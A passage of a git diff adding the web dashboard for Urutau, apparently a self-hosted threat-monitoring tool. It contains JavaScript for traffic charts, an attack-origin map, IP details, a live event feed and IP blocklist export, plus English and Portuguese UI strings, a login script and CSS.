'unauthorized') return; + var b = $('#err'); + b.textContent = t('error.load'); + b.hidden = false; + }).then(function () { inflight = false; }); + } + + // ---------------------------------------------------------------- map + var world = window.URUTAU_WORLD; + function renderMap(mapSel, listSel, rows, good) { + var box = $(mapSel), list = $(listSel); + clear(box); clear(list); + box.className = 'map' + (good ? ' good' : ''); + rows = rows || []; + var by = {}, max = 1; + rows.forEach(function (r) { by[r.key] = r.n; if (r.n > max) max = r.n; }); + if (world) { + var svg = svgEl('svg', { viewBox: '0 0 ' + world.w + ' ' + world.h, role: 'img', 'aria-label': t(good ? 'map.visitors' : 'map.attacks') }); + Object.keys(world.paths).forEach(function (cc) { + var p = svgEl('path', { d: world.paths[cc], 'class': 'mapc' + (by[cc] ? ' hit' : '') }); + if (by[cc]) { + p.setAttribute('fill-opacity', String(0.25 + 0.75 * Math.sqrt(by[cc] / max))); + var ti = svgEl('title', {}); + ti.textContent = flag(cc) + ' ' + countryName(cc) + ': ' + nf(by[cc]); + p.appendChild(ti); + } + svg.appendChild(p); + }); + box.appendChild(svg); + } + if (!rows.length) { list.appendChild(el('div', 'empty', t('top.empty'))); return; } + rows.slice(0, 8).forEach(function (r) { + var d = el('div', 'bar-row'); + d.appendChild(el('span', 'k', flag(r.key) + ' ' + countryName(r.key))); + d.appendChild(el('span', 'n', nf(r.n))); + var bar = el('div', 'bar'), i = el('i'); + i.style.width = Math.max(2, r.n / max * 100) + '%'; + bar.appendChild(i); + d.appendChild(bar); + list.appendChild(d); + }); + } + + // ---------------------------------------------------------------- traffic + function renderTraffic() { + var d = state.traffic; + if (!d) return; + var box = $('#tkpis'); + clear(box); + box.appendChild(kpi('', d.requests, t('traffic.requests'))); + box.appendChild(kpi('', d.pages, t('traffic.pages'))); + box.appendChild(kpi('', d.visitors, t('traffic.visitors'))); + var b = el('div', 'panel kpi'); + b.appendChild(el('div', 'v', fmtBytes(d.bytes))); + b.appendChild(el('div', 'l', t('traffic.bytes'))); + box.appendChild(b); + var l = el('div', 'panel kpi'); + l.appendChild(el('div', 'v', Math.round(d.p50_ms) + ' / ' + Math.round(d.p95_ms) + ' ms')); + l.appendChild(el('div', 'l', t('traffic.latency'))); + box.appendChild(l); + box.appendChild(kpi('', d.bots, t('traffic.bots'))); + + var sel = $('#domain'), want = (d.domains || []).map(function (x) { return x.key; }).join('|') + '|' + lang; + if (sel.getAttribute('data-doms') !== want) { + clear(sel); + var o = el('option', '', t('traffic.allDomains')); + o.value = 'all'; + sel.appendChild(o); + (d.domains || []).forEach(function (x) { var op = el('option', '', x.key + ' (' + nf(x.n) + ')'); op.value = x.key; sel.appendChild(op); }); + sel.setAttribute('data-doms', want); + } + sel.value = state.domain; + + drawTrafficChart(); + renderMap('#map-traffic', '#maplist-traffic', d.countries, true); + renderTop('#t-pages', d.top_pages, true); + renderTop('#t-refs', d.referrers, true); + renderTop('#t-cities', d.cities, false); + renderTop('#t-browsers', d.browsers, false); + renderTop('#t-oses', d.oses, false); + renderTop('#t-devices', (d.devices || []).map(function (x) { return { key: t('device.' + (['desktop', 'mobile', 'tablet', 'bot', 'tool'].indexOf(x.key) >= 0 ? x.key : 'unknown')), n: x.n }; }), false); + renderTop('#t-bots', d.bot_names, false); + renderTop('#t-status', ['2xx', '3xx', '4xx', '5xx'].map(function (k, i) { return { key: k, n: d.status[i] }; }).filter(function (x) { return x.n > 0; }), true); + } + + function drawTrafficChart() { + var wrap = $('#tchart'); + clear(wrap); + var d = state.traffic; + if (!d) return; + var tl = d.timeline, n = tl.req.length, max = 0, i; + for (i = 0; i < n; i++) if (tl.req[i] > max) max = tl.req[i]; + var W = Math.max(280, wrap.clientWidth), H = 230, L = 38, R = 6, Tp = 8, B = 22; + var top = niceMax(max), ph = H - Tp - B, bw = (W - L - R) / n; + var svg = svgEl('svg', { viewBox: '0 0 ' + W + ' ' + H, role: 'img', 'aria-label': t('traffic.timeline') }); + for (i = 0; i <= 4; i++) { + var y = Tp + ph - (ph * i / 4); + svg.appendChild(svgEl('line', { x1: L, x2: W - R, y1: y, y2: y, 'class': 'gridline' })); + var lab = svgEl('text', { x: L - 5, y: y + 3, 'text-anchor': 'end', 'class': 'axis' }); + lab.textContent = nf(Math.round(top * i / 4)); + svg.appendChild(lab); + } + var nt = W < 520 ? 3 : 5; + for (i = 0; i < nt; i++) { + var idx = Math.round((n - 1) * i / (nt - 1)); + var xl = svgEl('text', { x: L + bw * idx + bw / 2, y: H - 6, 'text-anchor': i === 0 ? 'start' : i === nt - 1 ? 'end' : 'middle', 'class': 'axis' }); + xl.textContent = tickLabel(tl.start + idx * tl.step); + svg.appendChild(xl); + } + var tip = el('div', 'tip'); + tip.hidden = true; + for (i = 0; i < n; i++) { + var x = L + bw * i + (bw > 3 ? 0.5 : 0), w = Math.max(1, bw - (bw > 3 ? 1 : 0)); + [['req', 'b-treq'], ['pages', 'b-tpages']].forEach(function (sr) { + var v = tl[sr[0]][i]; + if (!v) return; + var h = Math.max(1, v / top * ph); + svg.appendChild(svgEl('rect', { x: x, y: Tp + ph - h, width: w, height: h, 'class': sr[1] })); + }); + (function (i) { + var r = svgEl('rect', { x: L + bw * i, y: Tp, width: bw, height: ph, 'class': 'hover-col' }); + r.addEventListener('mouseenter', function () { + clear(tip); + tip.appendChild(el('strong', '', new Date((tl.start + i * tl.step) * 1000).toLocaleString(lang, { month: 'short', day: 'numeric', hour: '2-digit', minute: '2-digit' }))); + [['traffic.requests', tl.req[i]], ['traffic.pages', tl.pages[i]]].forEach(function (p) { + var rr = el('div'); + rr.appendChild(el('span', '', t(p[0]))); + rr.appendChild(el('span', 'num', nf(p[1]))); + tip.appendChild(rr); + }); + tip.hidden = false; + tip.style.left = Math.max(0, Math.min(L + bw * i + 14, W - 160)) + 'px'; + tip.style.top = '4px'; + }); + svg.appendChild(r); + })(i); + } + svg.addEventListener('mouseleave', function () { tip.hidden = true; }); + wrap.appendChild(svg); + wrap.appendChild(tip); + } + + function setTab(tab) { + state.tab = tab; + lsSet('urutau.tab', tab); + $('#tab-threats').hidden = tab !== 'threats'; + $('#tab-traffic').hidden = tab !== 'traffic'; + $('#domain').hidden = tab !== 'traffic'; + document.querySelectorAll('.tabs button[role=tab]').forEach(function (b) { b.setAttribute('aria-selected', b.getAttribute('data-tab') === tab ? 'true' : 'false'); }); + refresh(); + } + + function connectLive() { + if (!window.EventSource) return; + var es = new EventSource('/api/v1/events/stream'); + function setLive(on) { + $('#live-dot').className = 'dot' + (on ? ' on' : ''); + $('#live-text').textContent = t(on ? 'live.on' : 'live.off'); + $('#live-text').setAttribute('data-i18n', on ? 'live.on' : 'live.off'); + } + es.onopen = function () { setLive(true); }; + es.onerror = function () { setLive(false); }; + es.addEventListener('ev', function (m) { + try { + var e = JSON.parse(m.data); + state.live.unshift(e); + if (state.live.length > 100) state.live.length = 100; + renderFeed(); + } catch (x) { /* ignore malformed frame */ } + }); + } + + // ---------------------------------------------------------------- detail + function row(dl, label, node) { + dl.appendChild(el('dt', '', label)); + var dd = el('dd'); + dd.appendChild(node); + dl.appendChild(dd); + } + function listOf(items, mono) { + if (!items || !items.length) return el('span', '', '-'); + var ul = el('ul'); + items.forEach(function (i) { ul.appendChild(el('li', mono ? 'mono' : '', i)); }); + return ul; + } + function closeDetail() { $('#detail').hidden = true; $('#scrim').hidden = true; } + function openDetail(ip) { + var box = $('#detail'); + clear(box); + box.hidden = false; + $('#scrim').hidden = false; + api('/api/v1/ip/' + encodeURIComponent(ip)).then(function (d) { + clear(box); + var top = el('div', 'toolbar'); + var h = el('h2', 'mono', d.ip); + h.style.marginRight = 'auto'; + top.appendChild(h); + var cp = el('button', 'btn', t('detail.copyIp')); + cp.type = 'button'; + cp.addEventListener('click', function () { copyText(d.ip); }); + var cl = el('button', 'btn', t('detail.close')); + cl.type = 'button'; + cl.addEventListener('click', closeDetail); + top.appendChild(cp); top.appendChild(cl); + box.appendChild(top); + var dl = el('dl'); + row(dl, t('detail.level'), levelBadge(d.level)); + row(dl, t('detail.score'), el('span', 'num', String(d.score))); + row(dl, t('detail.rdns'), el('span', 'mono', d.rdns || '-')); + if (d.cc) row(dl, t('detail.country'), el('span', '', flag(d.cc) + ' ' + (d.country || countryName(d.cc)))); + if (d.city) row(dl, t('detail.city'), el('span', '', d.city)); + if (d.asn) row(dl, t('detail.network'), el('span', '', 'AS' + d.asn + (d.as_org ? ' ' + d.as_org : ''))); + row(dl, t('detail.first'), el('span', '', new Date(d.first * 1000).toLocaleString(lang))); + row(dl, t('detail.last'), el('span', '', new Date(d.last * 1000).toLocaleString(lang) + ' (' + ago(d.last) + ')')); + row(dl, t('detail.hosts'), el('span', '', (d.hosts || []).join(', '))); + if (d.banned) row(dl, t('detail.jails'), el('span', 'banned', (d.jails || []).join(', '))); + var counts = el('span'); + Object.keys(d.counts).filter(function (c) { return KNOWN_CATS.indexOf(c) >= 0; }).forEach(function (c) { counts.appendChild(el('span', 'chip', t('cat.' + c) + ' ' + nf(d.counts[c]))); }); + row(dl, t('detail.counts'), counts); + row(dl, t('detail.domains'), listOf(d.domains, true)); + row(dl, t('detail.uas'), listOf(d.uas, false)); + if (d.ua_labels && d.ua_labels.length) row(dl, t('detail.uaparsed'), listOf(d.ua_labels, false)); + row(dl, t('detail.samples'), listOf(d.samples, true)); + box.appendChild(dl); + }).catch(function (e) { + if (String(e.message) === 'unauthorized') return; + clear(box); + box.appendChild(el('p', 'empty', t('detail.notfound'))); + var cl = el('button', 'btn', t('detail.close')); + cl.type = 'button'; + cl.addEventListener('click', closeDetail); + box.appendChild(cl); + }); + } + + // ---------------------------------------------------------------- blocklist + function blocklistQuery(extra) { + var p = new URLSearchParams({ host: state.host, min_score: String($('#minScore').value || '50') }); + for (var k in extra) p.set(k, extra[k]); + return p.toString(); + } + function updateBlocklistLink() { $('#dlBl').setAttribute('href', '/api/v1/blocklist.txt?' + blocklistQuery({ download: '1' })); } + function copyText(text) { + if (navigator.clipboard && navigator.clipboard.writeText) return navigator.clipboard.writeText(text); + return new Promise(function (ok, fail) { + var ta = document.createElement('textarea'); + ta.value = text; + document.body.appendChild(ta); + ta.select(); + var done = false; + try { done = document.execCommand('copy'); } catch (e) { done = false; } + document.body.removeChild(ta); + done ? ok() : fail(new Error('copy')); + }); + } + + // ---------------------------------------------------------------- wiring + function resetPage() { state.page = 1; refresh(); } + var timer; + $('#range').addEventListener('click', function (e) { + var r = e.target.getAttribute && e.target.getAttribute('data-range'); + if (!r) return; + state.range = r; lsSet('urutau.range', r); resetPage(); + }); + $('#host').addEventListener('change', function (e) { state.host = e.target.value; lsSet('urutau.host', state.host); resetPage(); }); + $('#lang').addEventListener('click', function () { lang = lang === 'en' ? 'pt-BR' : 'en'; lsSet('urutau.lang', lang); applyI18n(); }); + $('#theme').addEventListener('click', function () { + var cur = document.documentElement.getAttribute('data-theme') || (matchMedia('(prefers-color-scheme: light)').matches ? 'light' : 'dark'); + var next = cur === 'dark' ? 'light' : 'dark'; + document.documentElement.setAttribute('data-theme', next); + lsSet('urutau.theme', next); + }); + $('#q').addEventListener('input', function (e) { clearTimeout(timer); timer = setTimeout(function () { state.q = e.target.value.trim(); resetPage(); }, 300); }); + $('#level').addEventListener('change', function (e) { state.level = e.target.value; resetPage(); }); + $('#bannedOnly').addEventListener('change', function (e) { state.banned = e.target.checked; resetPage(); }); + $('#prev').addEventListener('click', function () { if (state.page > 1) { state.page--; refresh(); } }); + $('#next').addEventListener('click', function () { state.page++; refresh(); }); + document.querySelectorAll('th [data-sort]').forEach(function (b) { + b.addEventListener('click', function () { + var k = b.getAttribute('data-sort'); + if (state.sort === k) state.order = state.order === 'desc' ? 'asc' : 'desc'; else { state.sort = k; state.order = 'desc'; } + resetPage(); + }); + }); + $('#minScore').addEventListener('input', updateBlocklistLink); + $('#copyBl').addEventListener('click', function () { + var msg = $('#blMsg'); + fetch('/api/v1/blocklist.txt?' + blocklistQuery({}), { credentials: 'same-origin' }).then(function (r) { return r.text(); }).then(function (txt) { + var n = txt.split('\n').filter(Boolean).length; + return copyText(txt).then(function () { msg.textContent = t('blocklist.copied', nf(n)); }); + }).catch(function () { msg.textContent = t('blocklist.failed'); }); + }); + $('#scrim').addEventListener('click', closeDetail); + document.addEventListener('keydown', function (e) { if (e.key === 'Escape') closeDetail(); }); + var rz; + window.addEventListener('resize', function () { clearTimeout(rz); rz = setTimeout(function () { drawChart(); drawTrafficChart(); }, 150); }); + + document.querySelectorAll('.tabs button[role=tab]').forEach(function (b) { b.addEventListener('click', function () { setTab(b.getAttribute('data-tab')); }); }); + $('#domain').addEventListener('change', function (e) { state.domain = e.target.value; refresh(); }); + $('#tab-threats').hidden = state.tab !== 'threats'; + $('#tab-traffic').hidden = state.tab !== 'traffic'; + $('#domain').hidden = state.tab !== 'traffic'; + document.querySelectorAll('.tabs button[role=tab]').forEach(function (b) { b.setAttribute('aria-selected', b.getAttribute('data-tab') === state.tab ? 'true' : 'false'); }); + applyI18n(); + refresh(); + connectLive(); + setInterval(function () { if (!document.hidden) refresh(); }, 10000); +})(); diff --git a/internal/server/web/favicon.png b/internal/server/web/favicon.png new file mode 100644 index 0000000..40c0203 Binary files /dev/null and b/internal/server/web/favicon.png differ diff --git a/internal/server/web/i18n.js b/internal/server/web/i18n.js new file mode 100644 index 0000000..1f2068e --- /dev/null +++ b/internal/server/web/i18n.js @@ -0,0 +1,296 @@ +/* Urutau UI dictionaries. Every key must exist in both languages: + scripts/check-ui-i18n.mjs enforces it. "{n}" is replaced by the caller. */ +window.URUTAU_I18N = { + en: { + 'tagline': 'Lightweight, always-on threat intelligence for self-hosted servers · local-first · authorized use.', + 'live.connecting': 'connecting', + 'live.on': 'live', + 'live.off': 'reconnecting', + 'host.label': 'Host', + 'host.all': 'All hosts', + 'range.label': 'Time range', + 'range.1h': '1 h', + 'range.24h': '24 h', + 'range.7d': '7 d', + 'lang.toggle': 'Switch language', + 'theme.toggle': 'Switch light/dark theme', + 'logout': 'Sign out', + 'kpi.requests': 'Requests', + 'kpi.malicious': 'Malicious events', + 'kpi.hostile': 'Hostile IPs', + 'kpi.suspicious': 'Suspicious IPs', + 'kpi.bans': 'Active bans', + 'kpi.ips': 'Distinct IPs', + 'kpi.monitoring': '{n} monitoring requests filtered out.', + 'feed.forged': 'forged monitor user agent', + 'timeline.title': 'Activity by category', + 'timeline.empty': 'No activity in this range.', + 'ips.title': 'Top IPs', + 'ips.search': 'Filter by IP or reverse DNS', + 'ips.level': 'Threat level', + 'ips.bannedOnly': 'Banned only', + 'ips.empty': 'No IPs match.', + 'level.all': 'All levels', + 'level.hostile': 'Hostile', + 'level.suspicious': 'Suspicious', + 'level.low': 'Low', + 'col.ip': 'IP', + 'col.score': 'Score', + 'col.level': 'Level', + 'col.cats': 'Categories', + 'col.last': 'Last seen', + 'col.banned': 'Banned', + 'col.host': 'Host', + 'col.source': 'Source', + 'col.state': 'State', + 'col.lines': 'Lines', + 'col.malformed': 'Malformed', + 'col.lastEvent': 'Last event', + 'pager.prev': 'Previous', + 'pager.next': 'Next', + 'pager.count': '{n} IPs', + 'feed.title': 'Live feed', + 'feed.empty': 'Waiting for events.', + 'top.paths': 'Most attacked paths', + 'top.domains': 'Most targeted domains', + 'top.uas': 'Top user agents', + 'top.users': 'SSH users tried', + 'top.empty': 'No data.', + 'blocklist.title': 'Blocklist', + 'blocklist.help': 'Export the IPs at or above a score as a plain list, one per line, for a firewall or fail2ban.', + 'blocklist.minScore': 'Minimum score', + 'blocklist.copy': 'Copy list', + 'blocklist.download': 'Download', + 'blocklist.copied': '{n} IPs copied.', + 'blocklist.failed': 'Could not copy the list.', + 'hosts.title': 'Hosts', + 'host.online': 'online', + 'host.offline': 'offline', + 'host.requests': 'Requests', + 'host.malicious': 'Malicious', + 'host.hostile': 'Hostile IPs', + 'host.bans': 'Bans', + 'host.latency': 'Latency', + 'sources.title': 'Sources', + 'state.following': 'following', + 'state.waiting': 'waiting for file', + 'state.backfill': 'reading history', + 'state.error': 'error', + 'state.disabled': 'disabled', + 'cat.ok': 'ok', + 'cat.notfound': 'not found', + 'cat.scanner': 'scanner', + 'cat.exploit': 'exploit', + 'cat.bruteforce': 'brute force', + 'cat.ssh-fail': 'ssh fail', + 'cat.ssh-probe': 'ssh probe', + 'cat.ssh-ok': 'ssh login', + 'cat.ban': 'ban', + 'feed.unban': 'unban', + 'ago.now': 'now', + 'ago.s': '{n}s ago', + 'ago.m': '{n}m ago', + 'ago.h': '{n}h ago', + 'ago.d': '{n}d ago', + 'never': 'never', + 'yes': 'yes', + 'detail.close': 'Close', + 'detail.copyIp': 'Copy IP', + 'detail.score': 'Score', + 'detail.level': 'Level', + 'detail.first': 'First seen', + 'detail.last': 'Last seen', + 'detail.rdns': 'Reverse DNS', + 'detail.hosts': 'Hosts', + 'detail.domains': 'Targeted domains', + 'detail.uas': 'User agents', + 'detail.samples': 'Recent activity', + 'detail.jails': 'Active bans', + 'detail.counts': 'Events', + 'detail.notfound': 'This IP is no longer in memory.', + 'error.load': 'Could not load data. Retrying.', + 'footer': 'Urutau · watches motionless all night.', + 'tab.threats': 'Threats', + 'tab.traffic': 'Traffic', + 'traffic.domain': 'Domain', + 'traffic.allDomains': 'All domains', + 'traffic.timeline': 'Requests and page views', + 'traffic.requests': 'Requests', + 'traffic.pages': 'Page views', + 'traffic.visitors': 'Visitors', + 'traffic.bytes': 'Data sent', + 'traffic.bots': 'Search and AI bots', + 'traffic.latency': 'Latency p50 / p95', + 'traffic.topPages': 'Top pages', + 'traffic.referrers': 'External referrers', + 'traffic.cities': 'Cities', + 'traffic.browsers': 'Browsers', + 'traffic.oses': 'Operating systems', + 'traffic.devices': 'Devices', + 'traffic.status': 'Status codes', + 'traffic.privacy': 'Visitors are counted with a daily rotating hash kept in memory only. No visitor IP is stored.', + 'map.attacks': 'Origin of attacks', + 'map.visitors': 'Visitors by country', + 'col.origin': 'Origin', + 'detail.country': 'Country', + 'detail.city': 'City', + 'detail.network': 'Network', + 'detail.uaparsed': 'Clients', + 'device.desktop': 'desktop', + 'device.mobile': 'mobile', + 'device.tablet': 'tablet', + 'device.bot': 'bot', + 'device.tool': 'tool', + 'device.unknown': 'unknown', + 'login.token': 'Access token', + 'login.submit': 'Sign in', + 'login.err.bad': 'Invalid token.', + 'login.err.rate': 'Too many attempts. Try again in a few minutes.' + }, + 'pt-BR': { + 'tagline': 'Inteligência de ameaças leve e sempre ativa para servidores próprios · local-first · uso autorizado.', + 'live.connecting': 'conectando', + 'live.on': 'ao vivo', + 'live.off': 'reconectando', + 'host.label': 'Host', + 'host.all': 'Todos os hosts', + 'range.label': 'Período', + 'range.1h': '1 h', + 'range.24h': '24 h', + 'range.7d': '7 d', + 'lang.toggle': 'Trocar idioma', + 'theme.toggle': 'Alternar tema claro/escuro', + 'logout': 'Sair', + 'kpi.requests': 'Requisições', + 'kpi.malicious': 'Eventos maliciosos', + 'kpi.hostile': 'IPs hostis', + 'kpi.suspicious': 'IPs suspeitos', + 'kpi.bans': 'Bans ativos', + 'kpi.ips': 'IPs distintos', + 'kpi.monitoring': '{n} requisições de monitoramento filtradas.', + 'feed.forged': 'user-agent de monitor forjado', + 'timeline.title': 'Atividade por categoria', + 'timeline.empty': 'Nenhuma atividade neste período.', + 'ips.title': 'Principais IPs', + 'ips.search': 'Filtrar por IP ou DNS reverso', + 'ips.level': 'Nível de ameaça', + 'ips.bannedOnly': 'Só banidos', + 'ips.empty': 'Nenhum IP corresponde.', + 'level.all': 'Todos os níveis', + 'level.hostile': 'Hostil', + 'level.suspicious': 'Suspeito', + 'level.low': 'Baixo', + 'col.ip': 'IP', + 'col.score': 'Pontos', + 'col.level': 'Nível', + 'col.cats': 'Categorias', + 'col.last': 'Visto por último', + 'col.banned': 'Banido', + 'col.host': 'Host', + 'col.source': 'Fonte', + 'col.state': 'Estado', + 'col.lines': 'Linhas', + 'col.malformed': 'Malformadas', + 'col.lastEvent': 'Último evento', + 'pager.prev': 'Anterior', + 'pager.next': 'Próxima', + 'pager.count': '{n} IPs', + 'feed.title': 'Feed ao vivo', + 'feed.empty': 'Aguardando eventos.', + 'top.paths': 'Caminhos mais atacados', + 'top.domains': 'Domínios mais visados', + 'top.uas': 'Principais user-agents', + 'top.users': 'Usuários SSH tentados', + 'top.empty': 'Sem dados.', + 'blocklist.title': 'Lista de bloqueio', + 'blocklist.help': 'Exporte os IPs a partir de uma pontuação como lista simples, um por linha, para firewall ou fail2ban.', + 'blocklist.minScore': 'Pontuação mínima', + 'blocklist.copy': 'Copiar lista', + 'blocklist.download': 'Baixar', + 'blocklist.copied': '{n} IPs copiados.', + 'blocklist.failed': 'Não foi possível copiar a lista.', + 'hosts.title': 'Hosts', + 'host.online': 'online', + 'host.offline': 'offline', + 'host.requests': 'Requisições', + 'host.malicious': 'Maliciosos', + 'host.hostile': 'IPs hostis', + 'host.bans': 'Bans', + 'host.latency': 'Latência', + 'sources.title': 'Fontes', + 'state.following': 'acompanhando', + 'state.waiting': 'aguardando arquivo', + 'state.backfill': 'lendo histórico', + 'state.error': 'erro', + 'state.disabled': 'desativada', + 'cat.ok': 'ok', + 'cat.notfound': 'não encontrado', + 'cat.scanner': 'scanner', + 'cat.exploit': 'exploit', + 'cat.bruteforce': 'força bruta', + 'cat.ssh-fail': 'falha ssh', + 'cat.ssh-probe': 'sondagem ssh', + 'cat.ssh-ok': 'login ssh', + 'cat.ban': 'ban', + 'feed.unban': 'desbanido', + 'ago.now': 'agora', + 'ago.s': 'há {n}s', + 'ago.m': 'há {n}min', + 'ago.h': 'há {n}h', + 'ago.d': 'há {n}d', + 'never': 'nunca', + 'yes': 'sim', + 'detail.close': 'Fechar', + 'detail.copyIp': 'Copiar IP', + 'detail.score': 'Pontos', + 'detail.level': 'Nível', + 'detail.first': 'Primeira vez visto', + 'detail.last': 'Visto por último', + 'detail.rdns': 'DNS reverso', + 'detail.hosts': 'Hosts', + 'detail.domains': 'Domínios visados', + 'detail.uas': 'User-agents', + 'detail.samples': 'Atividade recente', + 'detail.jails': 'Bans ativos', + 'detail.counts': 'Eventos', + 'detail.notfound': 'Este IP não está mais na memória.', + 'error.load': 'Não foi possível carregar os dados. Tentando de novo.', + 'footer': 'Urutau · vigia imóvel a noite toda.', + 'tab.threats': 'Ameaças', + 'tab.traffic': 'Tráfego', + 'traffic.domain': 'Domínio', + 'traffic.allDomains': 'Todos os domínios', + 'traffic.timeline': 'Requisições e páginas vistas', + 'traffic.requests': 'Requisições', + 'traffic.pages': 'Páginas vistas', + 'traffic.visitors': 'Visitantes', + 'traffic.bytes': 'Dados enviados', + 'traffic.bots': 'Bots de busca e de IA', + 'traffic.latency': 'Latência p50 / p95', + 'traffic.topPages': 'Páginas mais vistas', + 'traffic.referrers': 'Referenciadores externos', + 'traffic.cities': 'Cidades', + 'traffic.browsers': 'Navegadores', + 'traffic.oses': 'Sistemas operacionais', + 'traffic.devices': 'Dispositivos', + 'traffic.status': 'Códigos de status', + 'traffic.privacy': 'Visitantes são contados com um hash que muda todo dia e fica só na memória. Nenhum IP de visitante é guardado.', + 'map.attacks': 'Origem dos ataques', + 'map.visitors': 'Visitantes por país', + 'col.origin': 'Origem', + 'detail.country': 'País', + 'detail.city': 'Cidade', + 'detail.network': 'Rede', + 'detail.uaparsed': 'Clientes', + 'device.desktop': 'computador', + 'device.mobile': 'celular', + 'device.tablet': 'tablet', + 'device.bot': 'bot', + 'device.tool': 'ferramenta', + 'device.unknown': 'desconhecido', + 'login.token': 'Token de acesso', + 'login.submit': 'Entrar', + 'login.err.bad': 'Token inválido.', + 'login.err.rate': 'Tentativas demais. Tente de novo em alguns minutos.' + } +}; diff --git a/internal/server/web/index.html b/internal/server/web/index.html new file mode 100644 index 0000000..a6b5e53 --- /dev/null +++ b/internal/server/web/index.html @@ -0,0 +1,165 @@ + + + + + + +Urutau + + + + +
+
+
+ Urutau +

Urutau

+
+
+ + +
+ + + +
+ + +
+
+
+ + + + + +
+ +
+ +

+ +
+

+
+
+
+ +
+

+
+
+ +
+
+

+
+ + + +
+ + + + + + + + + + + +
+
+ + +
+
+
+

+
    +
    +
    + +
    +

    +

    +

    +
    + +
    +

    +
    +

    +

    +
    + + + +
    +
    +
    +
    + +
    + + + +
    +

    +
    +

    + + + + + + +
    +
    + +
    +
    + + + + + + + + + diff --git a/internal/server/web/login.html b/internal/server/web/login.html new file mode 100644 index 0000000..9d8add6 --- /dev/null +++ b/internal/server/web/login.html @@ -0,0 +1,31 @@ + + + + + + +Urutau + + + + +
    +
    + Urutau +

    Urutau

    +

    +
    + + + +
    +
    + + +
    +
    +
    + + + + diff --git a/internal/server/web/login.js b/internal/server/web/login.js new file mode 100644 index 0000000..bcde2a5 --- /dev/null +++ b/internal/server/web/login.js @@ -0,0 +1,32 @@ +(function () { + 'use strict'; + var D = window.URUTAU_I18N; + function get(k) { try { return localStorage.getItem(k); } catch (e) { return null; } } + function set(k, v) { try { localStorage.setItem(k, v); } catch (e) { /* ignore */ } } + var lang = get('urutau.lang') || ((navigator.language || 'en').toLowerCase().indexOf('pt') === 0 ? 'pt-BR' : 'en'); + if (!D[lang]) lang = 'en'; + var theme = get('urutau.theme'); + if (theme === 'light' || theme === 'dark') document.documentElement.setAttribute('data-theme', theme); + function t(k) { return D[lang][k] || D.en[k] || k; } + function apply() { + document.documentElement.lang = lang; + document.querySelectorAll('[data-i18n]').forEach(function (n) { n.textContent = t(n.getAttribute('data-i18n')); }); + document.querySelectorAll('[data-i18n-ph]').forEach(function (n) { n.setAttribute('placeholder', t(n.getAttribute('data-i18n-ph'))); }); + document.querySelectorAll('[data-i18n-aria]').forEach(function (n) { n.setAttribute('aria-label', t(n.getAttribute('data-i18n-aria'))); }); + document.querySelectorAll('[data-i18n-title]').forEach(function (n) { n.setAttribute('title', t(n.getAttribute('data-i18n-title'))); }); + document.getElementById('lang').textContent = lang === 'en' ? 'PT' : 'EN'; + var e = new URLSearchParams(location.search).get('e'); + try { + var nav = performance.getEntriesByType('navigation')[0]; + if (nav && nav.responseStatus === 429) e = 'rate'; + } catch (x) { /* ignore */ } + document.getElementById('msg').textContent = e === 'bad' ? t('login.err.bad') : e === 'rate' ? t('login.err.rate') : ''; + } + document.getElementById('lang').addEventListener('click', function () { lang = lang === 'en' ? 'pt-BR' : 'en'; set('urutau.lang', lang); apply(); }); + document.getElementById('theme').addEventListener('click', function () { + var cur = document.documentElement.getAttribute('data-theme') || (matchMedia('(prefers-color-scheme: light)').matches ? 'light' : 'dark'); + var next = cur === 'dark' ? 'light' : 'dark'; + document.documentElement.setAttribute('data-theme', next); set('urutau.theme', next); + }); + apply(); +})(); diff --git a/internal/server/web/logo.png b/internal/server/web/logo.png new file mode 100644 index 0000000..907f18e Binary files /dev/null and b/internal/server/web/logo.png differ diff --git a/internal/server/web/style.css b/internal/server/web/style.css new file mode 100644 index 0000000..25ca992 --- /dev/null +++ b/internal/server/web/style.css @@ -0,0 +1,204 @@ +:root { + --bg: #070d14; --bg-2: #0b1420; --panel: rgba(13, 25, 38, .82); --line: rgba(148, 188, 205, .16); + --text: #e8f2f4; --muted: #8ea5b0; --accent: #38bdf8; --accent-2: #f0b35b; + --sev-critical: #ef4444; --sev-high: #f97316; --sev-medium: #f59e0b; --sev-low: #10b981; --sev-info: #64748b; + --radius: 16px; --field: rgba(148, 188, 205, .08); --shadow: 0 10px 30px rgba(0, 0, 0, .35); + --c-ssh-probe: #a5b4fc; color-scheme: dark; +} +:root[data-theme="light"] { + --bg: #f0f4f8; --bg-2: #e2eaf0; --panel: rgba(255, 255, 255, .88); --line: rgba(15, 31, 38, .13); + --text: #0f1f26; --muted: #536b75; --accent: #0284c7; --accent-2: #d97706; --field: rgba(15, 31, 38, .05); + --shadow: 0 10px 30px rgba(15, 31, 38, .10); --c-ssh-probe: #6366f1; color-scheme: light; +} +@media (prefers-color-scheme: light) { + :root:not([data-theme="dark"]) { + --bg: #f0f4f8; --bg-2: #e2eaf0; --panel: rgba(255, 255, 255, .88); --line: rgba(15, 31, 38, .13); + --text: #0f1f26; --muted: #536b75; --accent: #0284c7; --accent-2: #d97706; --field: rgba(15, 31, 38, .05); + --shadow: 0 10px 30px rgba(15, 31, 38, .10); --c-ssh-probe: #6366f1; color-scheme: light; + } +} +* { box-sizing: border-box; } +html { -webkit-text-size-adjust: 100%; min-height: 100%; background: var(--bg-2); } +body { + margin: 0; min-height: 100vh; color: var(--text); font: 14px/1.45 "Inter", "Segoe UI", system-ui, -apple-system, sans-serif; + background: radial-gradient(1100px 500px at 15% 0, color-mix(in srgb, var(--accent) 14%, transparent), transparent 60%) no-repeat, + linear-gradient(180deg, var(--bg), var(--bg-2)); + overflow-x: hidden; +} +a { color: var(--accent); } +button, select, input { font: inherit; color: inherit; } +.wrap { max-width: 1280px; margin: 0 auto; padding: 16px; } +header.top { display: flex; flex-wrap: wrap; align-items: center; gap: 12px; padding-bottom: 14px; } +.brand { display: flex; align-items: center; gap: 12px; margin-right: auto; min-width: 0; } +.brand img { width: 44px; height: 44px; border-radius: 12px; flex: none; } +.brand h1 { font-size: 20px; margin: 0; letter-spacing: .02em; } +.brand small { display: block; color: var(--muted); font-size: 12px; max-width: 46ch; } +.controls { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; } +.btn, select, .seg button, input[type="text"], input[type="number"], input[type="password"] { + background: var(--field); border: 1px solid var(--line); border-radius: 10px; padding: 7px 12px; min-height: 36px; +} +.btn, .seg button { cursor: pointer; } +.btn:hover, .seg button:hover { border-color: var(--accent); } +.btn.primary { background: var(--accent); color: #04121c; border-color: transparent; font-weight: 600; } +.seg { display: inline-flex; border-radius: 10px; overflow: hidden; border: 1px solid var(--line); } +.seg button { border: 0; border-radius: 0; background: transparent; } 